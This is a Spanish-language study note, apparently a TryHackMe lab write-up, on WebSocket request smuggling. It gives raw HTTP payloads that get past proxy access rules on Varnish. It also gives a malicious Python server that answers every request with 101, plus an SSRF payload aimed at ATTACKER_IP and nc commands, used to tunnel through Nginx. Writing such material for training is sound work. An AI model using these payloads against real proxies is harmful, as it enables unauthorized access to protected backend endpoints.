WebSocket Request Smuggling
WebSocket Request Smuggling es una técnica de request smuggling que abusa del mecanismo de upgrade de WebSocket para crear un túnel no supervisado a través de un proxy vulnerable. El…
Definición
WebSocket Request Smuggling es una técnica de request smuggling que abusa del mecanismo de upgrade de WebSocket para crear un túnel no supervisado a través de un proxy vulnerable. El atacante engaña al proxy haciéndole creer que la conexión ha sido actualizada al protocolo WebSocket, pero el backend continúa procesando tráfico HTTP. Esto permite hacer tunneling de peticiones HTTP al backend, bypasando las restricciones ACL del proxy frontend.
Esta técnica solo permite request tunneling (no puede envenenar las conexiones de otros usuarios), pero es suficiente para bypass de controles de acceso frontend.
Contexto
WebSocket: funcionamiento básico
WebSocket es un protocolo de comunicación bidireccional full-duplex entre cliente y servidor, diseñado para superar la limitación de HTTP donde el cliente siempre inicia la comunicación. Es especialmente útil para notificaciones en tiempo real, chat, dashboards live y cualquier aplicación que requiera push del servidor.
Proceso de upgrade HTTP → WebSocket:
- El cliente envía un HTTP/1.1 con
Upgrade: websockety headers adicionales (Sec-WebSocket-Key,Sec-WebSocket-Version). - Si el servidor soporta WebSockets, responde con
101 Switching Protocols. - A partir de ese punto, la conexión usa el protocolo WebSocket (no HTTP).
Cuando hay un proxy en medio, la mayoría de los proxies no manejan el upgrade ellos mismos sino que lo reenvían al backend. Una vez que el backend confirma el upgrade con 101, el proxy establece un túnel transparente entre cliente y servidor, sin inspeccionar el tráfico posterior (asume que es protocolo WebSocket).
Por qué esto importa para seguridad
El proxy, al establecer el túnel, deja de aplicar sus reglas de seguridad (ACL, WAF, filtros) sobre el tráfico tunnelado. Si un atacante puede crear un falso túnel WebSocket, puede enviar peticiones HTTP directamente al backend sin pasar por los controles del proxy.
Impacto
- Bypass de restricciones ACL del proxy frontend.
- Acceso a endpoints protegidos o internos no expuestos directamente.
- Bypass de WAF en proxies que filtran el tráfico HTTP pero no WebSocket.
- Bajo las condiciones adecuadas, cache poisoning (combinando con otras técnicas).
Desarrollo
Técnica 1: Versión WebSocket inválida (proxy que no verifica respuesta)
Algunos proxies asumen que el upgrade WebSocket siempre tiene éxito, sin verificar la respuesta del servidor. Si el backend responde con 426 Upgrade Required (versión no soportada), el proxy lo ignora y establece el túnel de todas formas.
Explotación:
- Enviar un request de upgrade WebSocket con un
Sec-WebSocket-Versioninválido (ej.777). La versión estándar actual es13; cualquier valor no soportado genera un426del servidor. - El backend responde
426(la conexión NO se actualiza a WebSocket, sigue siendo HTTP). - El proxy vulnerable ve el request de upgrade y asume éxito sin comprobar el código de respuesta → establece túnel.
- El atacante puede ahora enviar peticiones HTTP directas al backend a través del túnel (el proxy cree que es tráfico WebSocket y no lo inspecciona).
Payload (HTTP/1.1 raw):
GET /socket HTTP/1.1Host: TARGET:8001Sec-WebSocket-Version: 777Upgrade: WebSocketConnection: UpgradeSec-WebSocket-Key: nf6dB8Pb/BLinZ7UexUXHg==
GET /flag HTTP/1.1Host: TARGET:8001Importante: añadir dos newlines (\r\n\r\n) al final del payload en Burp. Desactivar “Update Content-Length” para que Burp no modifique la petición.
Variante — sin endpoint WebSocket real: algunos proxies no verifican ni siquiera si el endpoint al que se hace el upgrade existe o soporta WebSocket. Basta con que el request parezca un upgrade válido:
GET / HTTP/1.1Host: TARGET:8001Sec-WebSocket-Version: 13Upgrade: WebSocketConnection: UpgradeSec-WebSocket-Key: nf6dB8Pb/BLinZ7UexUXHg==
GET /flag HTTP/1.1Host: TARGET:8001Técnica 2: Proxy que verifica la respuesta (Nginx) — Leveraging SSRF
Nginx y otros proxies bien configurados sí verifican que el servidor responda 101 Switching Protocols antes de establecer el túnel. Con un simple 426, Nginx rechaza el tunneling.
Solución: si la aplicación tiene una vulnerabilidad SSRF (Server-Side Request Forgery) que permita dirigir requests a un servidor controlado por el atacante, se puede usar ese SSRF para inyectar una respuesta 101 falsa.
Flujo del ataque:
- La aplicación tiene un endpoint vulnerable a SSRF, por ejemplo
/check-url?server=<URL>que hace un GET a la URL indicada y devuelve el status code. - El atacante levanta un servidor web malicioso (en el AttackBox) que responde
101 Switching Protocolsa cualquier request:
from http.server import HTTPServer, BaseHTTPRequestHandlerimport sys
class Redirect(BaseHTTPRequestHandler): def do_GET(self): self.protocol_version = "HTTP/1.1" self.send_response(101) self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()- Enviar el payload de upgrade WebSocket usando el endpoint SSRF como destino:
GET /check-url?server=http://ATTACKER_IP:5555 HTTP/1.1Host: TARGET:8002Sec-WebSocket-Version: 13Upgrade: WebSocketConnection: UpgradeSec-WebSocket-Key: nf6dB8Pb/BLinZ7UexUXHg==
GET /flag HTTP/1.1Host: TARGET:8002- El backend hace un GET al servidor del atacante (via SSRF). El atacante responde
101. El proxy recibe el101y considera el upgrade exitoso → establece el túnel. - El segundo request (
GET /flag) se envía directamente al backend a través del túnel, bypaseando las ACLs.
Ejemplos
Bypass de ACL con proxy Varnish vulnerable (Lab TryHackMe)
Entorno: Varnish proxy. El proxy bloquea el acceso a /flag. Existe endpoint WebSocket en /socket.
Procedimiento:
- En Burp Suite Repeater, desactivar “Update Content-Length”.
- Enviar el siguiente payload raw (notar los dos newlines finales):
GET /socket HTTP/1.1Host: MACHINE_IP:8001Sec-WebSocket-Version: 777Upgrade: WebSocketConnection: UpgradeSec-WebSocket-Key: nf6dB8Pb/BLinZ7UexUXHg==
GET /flag HTTP/1.1Host: MACHINE_IP:8001- La primera respuesta es
426del backend (upgrade fallido). El proxy Varnish, sin verificar la respuesta, establece el túnel. - El segundo request
GET /flagse envía por el túnel → el backend lo procesa como HTTP normal → responde con el contenido de/flag.
Alternativa con nc (si Burp falla aleatoriamente):
echo -e "GET / HTTP/1.1\r\nHost: MACHINE_IP:8001\r\nSec-WebSocket-Version: 13\r\nUpgrade: WebSocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: nf6dB8Pb/BLinZ7UexUXHg==\r\n\r\nGET /flag HTTP/1.1\r\nHost: MACHINE_IP:8001\r\n\r\n" | nc MACHINE_IP 8001Bypass de ACL con proxy Nginx + SSRF (Lab TryHackMe)
Entorno: Nginx proxy (verifica respuesta del upgrade). Aplicación con /check-url vulnerable a SSRF. Target: /flag bloqueado por ACL.
Procedimiento:
- Verificar SSRF:
nc -lvp 5555en AttackBox, usar la app para hacer request ahttp://ATTACKER_IP:5555/test. Confirmar que se recibe la petición. - Lanzar servidor malicioso que responde
101:
python3 myserver.py 5555- En Burp Repeater, enviar (dos newlines finales):
GET /check-url?server=http://ATTACKER_IP:5555 HTTP/1.1Host: MACHINE_IP:8002Sec-WebSocket-Version: 13Upgrade: WebSocketConnection: UpgradeSec-WebSocket-Key: nf6dB8Pb/BLinZ7UexUXHg==
GET /flag HTTP/1.1Host: MACHINE_IP:8002- El backend hace GET al servidor del atacante → recibe
101→ Nginx acepta el upgrade → establece túnel →GET /flagse envía al backend → flag obtenida.
Pitfalls
- El ataque solo permite request tunneling: no es posible envenenar las conexiones de otros usuarios con esta técnica. El impacto se limita al bypass de ACL y operaciones sobre los propios requests del atacante.
- Newlines al final del payload: en Burp, añadir siempre dos
\r\n(newlines vacíos) después del último header del segundo request. Sin ellos, el backend puede no procesar el request smuggled correctamente. Conncfunciona de forma más consistente. - Burp puede fallar aleatoriamente: la técnica con
Sec-WebSocket-Version: 13sobre endpoints no-WebSocket tiene comportamiento no determinista en Burp. Usarncdirectamente si el ataque falla repetidamente. - El endpoint de upgrade debe ser permitido por el proxy: para que el upgrade pase por el proxy, el endpoint al que se hace el GET inicial debe estar en la ACL permitida. Si el proxy bloquea también el endpoint de la conexión WebSocket, el ataque no funciona.
- Proxies que sí verifican: Nginx y proxies modernos comprueban el código de respuesta del upgrade. Para estos casos, se necesita SSRF u otro mecanismo para inyectar el
101falso. - Sin WebSocket real en el backend: en algunos proxies, no hace falta un endpoint WebSocket real. Enviar el upgrade a
/o cualquier otro endpoint puede ser suficiente para engañar al proxy.
Diagrama
sequenceDiagram
participant A as Atacante
participant P as Proxy (Varnish/Nginx)
participant B as Backend (HTTP)
participant S as Servidor malicioso (SSRF)
Note over A,B: Técnica 1 - Proxy sin verificación de respuesta (Varnish)
A->>P: GET /socket Upgrade:WebSocket Version:777
P->>B: Reenvía upgrade request
B->>P: 426 Upgrade Required (upgrade FALLIDO)
P->>P: No verifica respuesta → asume éxito
Note over A,P: Túnel WebSocket establecido (falso)
A->>P: GET /flag HTTP/1.1 (por el túnel)
P->>B: Reenvía sin inspeccionar (cree que es WS)
B->>A: Contenido de /flag (bypass ACL)
Note over A,B: Técnica 2 - Proxy con verificación (Nginx) + SSRF
A->>P: GET /check-url?server=ATTACKER Upgrade:WebSocket
P->>B: Reenvía request con upgrade headers
B->>S: GET /ATTACKER (via SSRF)
S->>B: 101 Switching Protocols (falso)
B->>P: 101 (respuesta del servidor malicioso)
P->>P: Recibe 101 → upgrade aceptado
Note over A,P: Túnel establecido vía SSRF
A->>P: GET /flag HTTP/1.1 (por el túnel)
P->>B: Reenvía → flag obtenida
Referencias
- TryHackMe — WebSocket Request Smuggling: https://tryhackme.com/room/websocketsmugglingrequests
- Mikhail Egorov (0ang3el) — WebSocket Smuggling research: https://github.com/0ang3el/websocket-smuggle
- RFC 6455 — The WebSocket Protocol: https://datatracker.ietf.org/doc/html/rfc6455
Ver también: HTTP Request Smuggling, HTTP2 Request Smuggling, HTTP Browser Desync, Burp Suite